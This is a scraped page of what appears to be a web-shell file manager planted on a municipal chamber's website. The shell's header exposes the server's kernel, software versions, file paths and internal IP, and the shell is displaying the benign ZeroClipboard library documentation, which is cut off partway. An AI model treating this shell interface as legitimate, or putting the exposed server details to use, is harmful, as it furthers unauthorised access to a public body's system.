MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/camara-morro-chapeu/public_html/transparencia/assets/filemanager/scripts/zeroclipboard/docs/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
api dir drwxrwxr-x 2021-07-19 09:20 R D
instructions.md 19.762 KB -rw-rw-r-- 2021-07-19 09:10 R E G D
roadmap.md 0.764 KB -rw-rw-r-- 2021-07-19 09:10 R E G D
security.md 1.79 KB -rw-rw-r-- 2021-07-19 09:10 R E G D
REQUEST EXIT
### WARNING **This `master` branch contains the `v2.x` codebase for ZeroClipboard! For the `v1.x` codebase, see the [`1.x-master`](https://github.com/zeroclipboard/zeroclipboard/tree/1.x-master) branch instead.** # Overview The ZeroClipboard library provides an easy way to copy text to the clipboard using an invisible [Adobe Flash](http://en.wikipedia.org/wiki/Adobe_Flash) movie and a [JavaScript](http://en.wikipedia.org/wiki/JavaScript) interface. The "Zero" signifies that the library is invisible and the user interface is left entirely up to you. This is achieved by automatically floating the invisible movie on top of a [DOM](http://en.wikipedia.org/wiki/Document_Object_Model) element of your choice. Standard mouse events are even propagated out to your DOM element, so you can still have rollover and mousedown effects. ## Limitations ### User Interaction Required Due to browser and Flash security restrictions, this clipboard injection can _**ONLY**_ occur when the user clicks on the invisible Flash movie. A simulated `click` event from JavaScript will not suffice as this would enable [clipboard poisoning](http://www.computerworld.com/s/article/9117268/Adobe_patches_Flash_clickjacking_and_clipboard_poisoning_bugs). ### Synchronicity Required During `copy` If a handler of `copy` event intends to modify the pending data for clipboard injection, it _MUST_ operate synchronously in order to maintain the temporarily elevated permissions granted by the user's `click` event. The most common "gotcha" for this restriction is if someone wants to make an asynchronous XMLHttpRequest in response to the `copy` event to get the data to inject — this will not work. You must make it a _synchronous_ XMLHttpRequest instead, or do the work in advance before the `copy` event is fired. ### OS-Specific Limitations See [OS Considerations](#os-considerations) below. ## Installation ### [NPM](https://www.npmjs.org/) [![NPM version](https://badge.fury.io/js/zeroclipboard.png)](https://www.npmjs.org/package/zeroclipboard) ```shell npm install zeroclipboard ``` ### [Bower](http://bower.io/) [![Bower version](https://badge.fury.io/bo/zeroclipboard.png)](http://bower.io/search/?q=zeroclipboard) ```shell bower install zeroclipboard ``` ### [SPM](http://spmjs.io/) [![SPM version](http://spmjs.io/badge/zeroclipboard)](http://spmjs.io/package/zeroclipboard) ```shell spm install zeroclipboard ``` ### [PHP Composer](https://getcomposer.org/) [![PHP version](https://badge.fury.io/ph/zeroclipboard%2Fzeroclipboard.svg)](https://packagist.org/packages/zeroclipboard/zeroclipboard) For any PHP Composer users, ZeroClipboard is also [available on Packagist](https://packagist.org/packages/zeroclipboard/zeroclipboard). ### [Ruby Gem](https://rubygems.org/) For any Rails users, the [`zeroclipboard-rails` Ruby Gem](https://rubygems.org/gems/zeroclipboard-rails) is available to automatically add ZeroClipboard into your Rails asset pipeline. ## CDN Availability If you'd like to use ZeroClipboard hosted via a CDN (content delivery network), you can try: - **cdnjs**: http://cdnjs.com/libraries/zeroclipboard - **jsDelivr**: http://www.jsdelivr.com/#!zeroclipboard ## Setup To use the library, simply include the following JavaScript file in your page: ```html ``` You also need to have the "`ZeroClipboard.swf`" file available to the browser. If this file is located in the same directory as your web page, then it will work out of the box. However, if the SWF file is hosted elsewhere, you need to set the URL like this (place this code _after_ the script tag): ```js ZeroClipboard.config( { swfPath: "http://YOURSERVER/path/ZeroClipboard.swf" } ); ``` ## Clients Now you are ready to create one or more _clients_. A client is a single instance of the clipboard library on the page, linked to one or more DOM elements. Here is how to create a client instance: ```js var client = new ZeroClipboard(); ``` You can also include an element or array of elements in the new client. _\*\*This example uses jQuery to find "copy buttons"._ ```js var client = new ZeroClipboard($(".copy-button")); ``` ## API For the full API documentation, see [api/ZeroClipboard.md](api/ZeroClipboard.md). The full set of [Configuration Options](api/ZeroClipboard.md#configuration-options) are also documented there. For developers who want to wrap ZeroClipboard into a 3rd party plugin (e.g. [jquery.zeroclipboard](https://github.com/zeroclipboard/jquery.zeroclipboard)), see the [api/ZeroClipboard.Core.md](api/ZeroClipboard.Core.md) documentation instead. ### Text To Copy Setting the clipboard text can be done in 4 ways: 1. Add a `copy` event handler in which you call `event.clipboardData.setData` to set the appropriate data. This event is triggered every time ZeroClipboard tries to inject into the clipboard. Example: ```js client.on( "copy", function (event) { var clipboard = event.clipboardData; clipboard.setData( "text/plain", "Copy me!" ); clipboard.setData( "text/html", "Copy me!" ); clipboard.setData( "application/rtf", "{\\rtf1\\ansi\n{\\b Copy me!}}" ); }); ``` 2. Set the "text/plain" [and _usually_ "text/html"] clipboard segments via `data-clipboard-target` attribute on the button. ZeroClipboard will look for the target element via ID and try to get the HTML value via `.value`, `.outerHTML`, or `.innerHTML`, and the text value via `.value`, `.textContent`, or `.innerText`. If the HTML and text values for the targeted element match, the value will only be placed into the "text/plain" segment of the clipboard (i.e. the "text/html" segment will cleared). ```html
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
  consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
  cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
  proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
``` 3. Set the "text/plain" clipboard segment via `data-clipboard-text` attribute on the button. Doing this will let ZeroClipboard take care of the rest. ```html ``` 4. Set the data via the `ZeroClipboard.setData` (any segment) method. You can call this function at any time: when the page first loads, or later like in a `copy` event handler. Example: ```js ZeroClipboard.setData( "text/plain", "Copy me!" ); ``` The important caveat of using `ZeroClipboard.setData` is that the data it sets is **transient** and _will only be used for a single copy operation_. As such, we do not particularly recommend using `ZeroClipboard.setData` (and friends) other than inside of a `copy` event handler; however, the API will not prevent you from using it in other ways. 5. Set the data via the `client.setText` ("text/plain" segment), `client.setHtml` ("text/html" segment), `client.setRichText` ("application/rtf" segment), or `client.setData` (any segment) methods. You can call this function at any time: when the page first loads, or later like in a `copy` event handler. Example: ```js client.setText( "Copy me!" ); ``` The important caveat of using `client.setData` (and friends) is that the data